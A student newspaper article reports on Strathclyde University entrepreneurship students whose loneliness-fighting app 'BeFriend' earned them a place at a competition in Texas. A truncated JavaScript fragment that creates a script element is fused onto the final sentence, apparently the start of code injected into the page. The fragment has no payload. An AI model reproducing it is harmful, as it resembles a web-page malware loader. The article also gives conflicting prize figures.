By Émer O’Toole, Editor-in-Chief
A team of Strathclyde University students will take part in a competition in Texas after winning a university prize with the creation of an app that aims to combat loneliness in older people.
The second year entrepreneurship undergraduates were challenged to make an app that could help to solve a prevalent social issue. They created an app called ‘BeFriend’, and presented it to academics from the Hunter Centre for Entrepreneurship at Strathclyde.
The internal competition within the university’s entrepreneurship department was set up to select one group from the university to go on to compete in Values and Ventures in the US, a competition held in Texas Christian University which challenges students to create a socially responsible venture that is also profitable.
Dominic Chalmers, a lecturer at the Hunter Centre for Entrepreneurship, said BeFriend won because it “identified a significant growing market and a real underserved problem.”
Student Lisa Higgins, who focused on marketing for the app, said: “Even though we had confidence in our idea, we weren’t expecting to even get close to winning as there were so many other great apps.
“However we were then put on a shortlist of nine teams which made it feel more achievable, and then we were chosen.”
The team includes Caitlin Connolly and Jack Simpson, who storyboarded and created the look of the app; Ross Ford, who focused on growth potential and finances; and Amy Hyslop, who researched the data used in helping target potential users.
BeFriend’s loneliness-fighting goal was a response to the social problem which affects over 51 per cent of over 75s, and it will use location services and profiling to show the user social activities and events created by organisations and other users in their area. It also offers the ability to send and receive messages and keep track of what is popular and also what friends are interested in.
Higgins said there is “a really substantial market for the app” and when the team spoke to groups of people within their target market, many of them were comfortable using smartphones and tablets and responded positively to the idea.
“And because the app is targeted towards older users, we would also be including features to make the app more accessible, for example, larger writing and buttons as well as technical help links on every page for those who are unsure. It’s a simple idea but it solves a very urgent problem.”
The app is still currently in development and the group is working in with Strathclyde University’s computer science students who will help bring a working prototype to life which can then be tested by users in the target market.
The team will now travel to Texas in April for a week-long all-expenses-paid trip funded by the Venture and Values competition where they could win from $250 up to $15,000 – and they are aiming for the grand prize.
Higgins said: “When in Texas we’ll be going on to another round against 25 other business schools from around the world, with the opportunity to win $25,000 of funding for our business proposal.
“Obviously we hope to win in Texas so we can continue working on the app and bring it to market, but if we don’t manage to win we will try to find funding from elsewhere to bring it to life.”
A recent Ofcom report found that smartphone use among the older generation had more than doubled in only three years, contrary to perceptions of technology as a young person’s domain.var d=document;var s=d.createElement(‘script’);